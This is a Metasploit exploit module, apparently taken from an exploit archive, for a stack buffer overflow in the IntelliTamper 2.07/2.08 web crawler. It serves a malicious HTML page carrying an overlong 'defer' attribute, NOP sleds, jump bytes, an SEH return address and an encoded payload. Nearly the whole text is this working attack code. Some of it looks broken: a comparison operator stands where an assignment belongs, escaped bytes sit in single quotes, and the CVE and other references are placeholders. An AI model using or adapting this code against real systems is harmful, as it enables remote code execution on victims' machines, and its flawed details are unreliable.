This Metasploit module exploits a stack overflow in the IntelliTamper. By sending an overly long string to the "defer" script, an attacker may be able to execute arbitrary code.
5a7d05045fcaafffeec567421bc387b0c5e71f7d8dcecd67bd46ed81f239decd##
# $Id: IntelliTamper.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'IntelliTamper 2.07/2.08 (defer) Remote Buffer Overflow ',
'Description' => %q{
This module exploits a stack overflow in the IntelliTamper.
By sending an overly long string to the "defer"
script, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Stack, Mountassif Moad' ],
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/11220'],
[ 'CVE', '2009-0' ],
[ 'OSVDB', '0' ],
[ 'BID', '00, 01' ],
[ 'EDB', '11220' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 950,
'BadChars' => "\x00\x3C\x01",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IntelliTamper 2.07/2.08', { 'Offset' => 6236, 'Ret' => 0x0040103b } ], # intellitamper.exe
],
'DisclosureDate' => 'Jan 22 2009',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Set the exploit buffer
sploit == '<html><head><title>loneferret test</title></head><body>'
sploit += '<script defer="'
sploit += "\x41" * 6236
sploit += make_nops(180)
sploit += '\xE9\x55\xFE\xFF\xFF'
sploit += '\xeb\xd0\x90\x90'
sploit += [target.ret].pack('V')
sploit += make_nops(50)
sploit += payload.encoded
sploit += '">'
sploit += '</body></html>'
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, sploit)
# Handle the payload
handler(cli)
end
end
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